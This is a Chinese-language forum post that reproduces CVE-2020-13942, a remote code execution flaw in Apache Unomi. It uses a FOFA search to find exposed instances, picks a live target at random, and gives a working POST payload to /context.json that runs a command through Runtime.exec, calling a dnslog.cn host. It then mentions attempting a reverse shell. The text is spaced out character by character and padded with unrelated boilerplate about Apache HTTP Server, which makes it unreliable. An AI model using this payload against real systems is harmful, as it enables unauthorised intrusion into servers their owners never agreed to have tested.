搜索

[724] 2020-11-24_ApacheUnomi远程代码执行漏洞复现（CVE-2020-13942）

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2020-11-24_ApacheUnomi远程代码执行漏洞复现（CVE-2020-13942） A p a c h e   U n o m i   远 程 代 码 执 行 漏 洞 复 现 （ C V E - 2 0 2 0 - 1 3 9 4 2 ） 原 创   黑 子 黑   b g b i n g 安 全   2 0 2 0 - 1 1 - 2 4 这 里 我 们 使 用 f o f a 。 f o f a 语 法 如 下 ： t i t l e = " U n o m i " 我 们 随 便 点 一 个 进 去 。 页 面 如 下 这 里 我 们 使 用 d n s l o g 方 便 我 们 知 道 命 令 是 否 真 的 执 行 了 。 P O C 如 下 ： P O S T   / c o n t e x t . j s o n   H T T P / 1 . 1 H o s t :   1 1 1 1 . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 7 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 5 . 0
C o n t e n t - L e n g t h :   4 8 6 {         " f i l t e r s " :   [                 {                         " i d " :   " b o o m " ,                         " f i l t e r s " :   [                                 {                                         " c o n d i t i o n " :   {                                                   " p a r a m e t e r V a l u e s " :   {                                                         " " :   " s c r i p t : : R u n t i m e   r   =   R u n t i m e . g e t R u n t i m e ( ) ;   r . e x e c ( ' p i n g   k r 7 a x p . d n s l o g . c n ' ) ; "                                                 } ,                                                 " t y p e " :   " p r o f i l e P r o p e r t y C o n d i t i o n "                                         }                                 }                         ]                 }         ] ,         " s e s s i o n I d " :   " b o o m " } 我 们 用 b u r p 抓 包 ， 使 用 r e p e a t e r 模 块 执 行 后 ， 我 们 看 一 下 d n s l o g
说 明 命 令 成 功 执 行 。 我 们 尝 试 反 弹 s h e l l 。
A p a c h e   U n o m i   是 一 个 基 于 标 准 的 客 户 数 据 平 台 （ C D P ， C u s t o m e r   D a t a   P l a t f o r m ） ， 用 于 管 理 在 线 客 户 和 访 客 等 信 息 ， 以 提 供 符 合 访 客 隐 私 规 则 的 个 性 化 体 验 ， 比 如   G D P R   和 “ 不 跟 踪 ” 偏 好 设 置 。 其 最 初 于   J a h i a   开 发 ， 2 0 1 5   年   1 0   月 提 交 给 了   A p a c h e   孵 化 器 。 A p a c h e   U n o m i   具 有 隐 私 管 理 、 用 户 / 事 件 / 目 标 跟 踪 、 报 告 、 访 客 资 料 管 理 、 细 分 、 角 色 、 A / B   测 试 等 功 能 ， 它 可 以 作 为 ： W e b   C M S   个 性 化 服 务 原 生 移 动 应 用 的 分 析 服 务 具 有 分 段 功 能 的 集 中 配 置 文 件 管 理 系 统 授 权 管 理 中 心 a p a c h e A p a c h e ( 音 译 为 阿 帕 奇 ) 是 世 界 使 用 排 名 第 一 的 W e b 服 务 器 软 件 。 它 可 以 运 行 在 几 乎 所 有 广 泛 使 用 的 计 算 机 平 台 上 ， 由 于 其 跨 平 台 和 安 全 性 被 广 泛 使 用 ， 是 最 流 行 的 W e b 服 务 器 端 软 件 之 一 。 它 快 速 、 可 靠 并 且 可 通 过 简 单 的 A P I 扩 充 ， 将 P e r l / P y t h o n 等 解 释 器 编 译 到 服 务 器 中 。 A p a c h e   H T T P   S e r v e r （ 简 称 A p a c h e ） 是 A p a c h e 软 件 基 金 会 的 一 个 开 放 源 码 的 网 页 服 务 器 ， 可 以 在 大 多 数 计 算 机 操 作 系 统 中 运 行 ， 由 于 其 多 平 台 和 安 全 性 被 广 泛 使 用 ， 是 最 流 行 的 W e b 服 务 器 端 软 件 之 一 。 它 快 速 、 可 靠 并 且 可 通 过 简 单 的 A P I 扩 展 ， 将 P e r l / P y t h o n 等 解 释 器 编 译 到 服 务 器 中 。   [ 2 ] A p a c h e   H T T P 服 务 器 是 一 个 模 块 化 的 服 务 器 ， 源 于 N C S A h t t p d 服 务 器 ， 经 过 多 次 修 改 ， 成 为 世 界 使 用 排 名 第 一 的 W e b 服 务 器 软 件 。 它 可 以 运 行 在 几 乎 所 有 广 泛 使 用 的 计 算 机 平 台 上 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理